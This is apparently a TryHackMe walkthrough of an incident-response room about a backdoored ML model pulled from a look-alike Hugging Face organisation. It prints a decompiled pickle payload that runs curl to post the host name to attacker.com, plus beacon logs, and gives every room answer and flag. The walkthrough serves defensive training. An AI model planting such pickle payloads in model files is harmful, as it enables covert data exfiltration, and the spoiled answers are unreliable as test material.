

# TryHackMe Payload — Walkthrough & Incident Response Writeup

Room Link: [TryHackMe - Payload](#)

Difficulty: Medium / Advanced AI Security

Category: AI / ML Supply Chain Security & Incident Response

## Scenario Overview

TryTrainMe's production code review inference server began phoning home to an unrecognized external C2 address at 03:14 UTC. The automated firewall rule blocked the outbound egress, but the underlying breach remained active on the host.

As the Incident Response Analyst, our goal is to investigate `/opt/supply-chain/incident/`, inspect the logs, reverse-engineer the malicious `.pkl` and `.h5` model artifacts, and uncover the full breach narrative.

## Room Questions & Answers

Q1: Read the deployment log at `/opt/supply-chain/incident/logs/deployment.log`. The replacement model came from a different organisation than the original. What is the name of that organisation?

Checking the deployment logs reveals the origin switch:

```
cat /opt/supply-chain/incident/logs/deployment.log
```

```
[2024-01-05 09:15:23] INFO Source: huggingface.co/verified-ml-team/code-review-bert
...
[2024-01-26 14:32:12] INFO Source: huggingface.co/trustworthy-ai-lab/code-review-bert-v2
[2024-01-26 14:32:14] WARN New source organisation detected: trustworthy-ai-lab
```

**Answer :** `trustworthy-ai-lab`

```
analyst@tryhackme-2204:/opt/supply-chain/incident/logs$ cat deployment.log
[2024-01-05 09:15:22] INFO Model registry: pulling code-review-bert v1.0.0
[2024-01-05 09:15:23] INFO Source: huggingface.co/verified-ml-team/code-review-bert
[2024-01-05 09:15:25] INFO Loaded model: original_model.pkl (sha256: 793bb2f5bdfd4a1c...)
[2024-01-05 09:15:26] INFO Model deployed to production inference server
[2024-01-26 14:32:10] INFO Model update requested by ml-engineer@trytrainme.com
[2024-01-26 14:32:12] INFO Source: huggingface.co/trustworthy-ai-lab/code-review-bert-v2
[2024-01-26 14:32:14] WARN New source organisation detected: trustworthy-ai-lab
[2024-01-26 14:32:15] INFO Loaded model: production_model.pkl
[2024-01-26 14:32:16] INFO Model deployed to production inference server
[2024-02-16 03:14:00] ALERT SOC automated alert: unusual outbound HTTPS traffic detected
[2024-02-16 03:14:01] ALERT Destination: attacker.com:443
[2024-02-16 03:14:33] INFO Incident #2024-SC-0847 created - investigation required
```

**Q2: How many days passed between the replacement model being deployed and the SOC alert firing?**

- Model Deployed: 2024-01-26
- SOC Alert Fired: 2024-02-16

Calculating the delta: Jan 26 → Feb 16 = 21 days.

**Answer:** 21

```
analyst@tryhackme-2204:/opt/supply-chain/incident/logs$ cat deployment.log
[2024-01-05 09:15:22] INFO Model registry: pulling code-review-bert v1.0.0
[2024-01-05 09:15:23] INFO Source: huggingface.co/verified-ml-team/code-review-bert
[2024-01-05 09:15:25] INFO Loaded model: original_model.pkl (sha256: 793bb2f5bdfd4a1c...)
[2024-01-05 09:15:26] INFO Model deployed to production inference server
[2024-01-26 14:32:10] INFO Model update requested by ml-engineer@trytrainme.com
[2024-01-26 14:32:12] INFO Source: huggingface.co/trustworthy-ai-lab/code-review-bert-v2
[2024-01-26 14:32:14] WARN New source organisation detected: trustworthy-ai-lab
[2024-01-26 14:32:15] INFO Loaded model: production_model.pkl
[2024-01-26 14:32:16] INFO Model deployed to production inference server
[2024-02-16 03:14:00] ALERT SOC automated alert: unusual outbound HTTPS traffic detected
[2024-02-16 03:14:01] ALERT Destination: attacker.com:443
[2024-02-16 03:14:33] INFO Incident #2024-SC-0847 created - investigation required
```

**Q3: Decompile the production model. What Python function does the payload use to execute the shell command?**

Decompiling production\_model.pkl with fickling:

```
fickling /opt/supply-chain/incident/models/production_model.pkl
```

```
from os import system
_var0 = system('curl "http://attacker.com/beacon" -d "host=$(hostname)"')
```

The payload imports and calls `system` from the standard `os` library.

**Answer:** system

```
analyst@tryhackme-2204:/opt/supply-chain/incident/models$ fickling production_model.pkl
from os import system
_var0 = system('curl "http://attacker.com/beacon" -d "host=$(hostname)"')
result0 = _var0
```

**Q4: What shell command does the payload use to capture the host's identity?**

Inspecting the decompiled pickle execution string above:

```
_var0 = system('curl "[http://attacker.com/beacon]
(http://attacker.com/beacon)" -d "host=$(hostname)"')
```

**Answer:** hostname

```
analyst@tryhackme-2204:/opt/supply-chain/incident/models$ fickling production_model.pkl
from os import system
_var0 = system('curl "http://attacker.com/beacon" -d "host=$(hostname)"')
result0 = _var0
```

**Q5: The beacon capture log shows the HTTP method used in the outbound request. What is it?**

Checking the raw HTTP request captured in the egress log:

```
cat /opt/supply-chain/incident/logs/beacon_capture.log
```

```
[2024-02-16 03:13:47] REQUEST POST /beacon HTTP/1.1
```

**Answer:** POST

```
analyst@tryhackme-2204:/opt/supply-chain/incident/logs$ cat beacon_capture.log
[2024-02-16 03:13:47] SESSION beacon-4821 ESTABLISHED src=10.0.1.50 dst=attacker.com:443
[2024-02-16 03:13:47] REQUEST POST /beacon HTTP/1.1
[2024-02-16 03:13:47] HOST attacker.com
[2024-02-16 03:13:47] PAYLOAD host=ml-server-prod-01&id=THM{b4ckd00r_ln_
[2024-02-16 03:13:48] SESSION beacon-4821 BLOCKED bytes captured=51 reason=SOC_RULE 4821
```

**Q6: The engineering team staged candidate\_model.h5 as a replacement but have not yet deployed it. Run inspect\_h5\_model.py against it. What is the name of the suspicious layer it contains?**

Running the custom HDF5 model inspector script against the staged candidate model:

```
python3 tools/inspect_h5_model.py incident/models/candidate_model.h5
```

```
=== Architecture Inspection: candidate_model.h5 ===
Total layers: 5
...
[WARNING] Lambda manipulate_output (function: manipulate_output)
```

**Answer:** manipulate\_output

```
analyst@tryhackme-2204:/opt/supply-chains$ python3 tools/inspect_h5_model.py incident/models/candidate_model.h5
=== Architecture Inspection: candidate_model.h5 ===

Total layers: 5

[OK]      InputLayer      input_layer_2
[OK]      Flatten        flatten_2
[OK]      Dense           dense_4
[OK]      Dense           dense_5
[WARNING] Lambda          manipulate_output (function: manipulate_output)
          exfil_suffix: pl41n_s1ght}

RESULT: 1 layer(s) require review
- Lambda (manipulate_output): Can contain arbitrary Python code that executes at inference time
```

**Q7: The attacker split the campaign ID across two artefacts to avoid full exposure in any single capture. Examine `beacon_capture.log` and the candidate model to recover the complete flag.**

- **Artifact 1 ( `beacon_capture.log` ):** `PAYLOAD host=ml-server-prod-01&id=THM{b4ckd00r_1n_`
- **Artifact 2 ( `candidate_model.h5` output):** `exfil_suffix: pl41n_s1ght}`

Concatenating both artifacts yields the complete flag:

**Answer:** `THM{b4ckd00r_1n_pl41n_s1ght}`

```
analyst@tryhackme-2204:/opt/supply-chain/incident/logs$ cat beacon_capture.log
[2024-02-16 03:13:47] SESSION beacon-4821 ESTABLISHED src=10.0.1.50 dst=attacker.com:443
[2024-02-16 03:13:47] REQUEST POST /beacon HTTP/1.1
[2024-02-16 03:13:47] HOST attacker.com
[2024-02-16 03:13:47] PAYLOAD host=ml-server-prod-01&id=THM{b4ckd00r_1n_
[2024-02-16 03:13:48] SESSION beacon-4821 BLOCKED bytes_captured=51 reason=SOC_RULE_4821
```

```
analyst@tryhackme-2204:/opt/supply-chains$ python3 tools/inspect_h5_model.py incident/models/candidate_model.h5
=== Architecture Inspection: candidate_model.h5 ===

Total layers: 5

[OK]      InputLayer      input_layer_2
[OK]      Flatten        flatten_2
[OK]      Dense           dense_4
[OK]      Dense           dense_5
[WARNING] Lambda          manipulate_output (function: manipulate_output)
          exfil_suffix: pl41n_s1ght}

RESULT: 1 layer(s) require review
- Lambda (manipulate_output): Can contain arbitrary Python code that executes at inference time
```

## A Note for AI Security Engineers

### To the Engineers Guarding the Frontier:

The frontier of cybersecurity is shifting from securing standard binaries to auditing weights, graph structures, and unpickled state tensors. Attackers no longer need to break through firewalls when they can simply publish an optimized model that gets pulled directly into target networks.

Stay curious, scrutinize serialization pipelines, and remember: **if a model can execute code during inference, it is not just a statistical asset—it is a binary payload.** Keep verifying!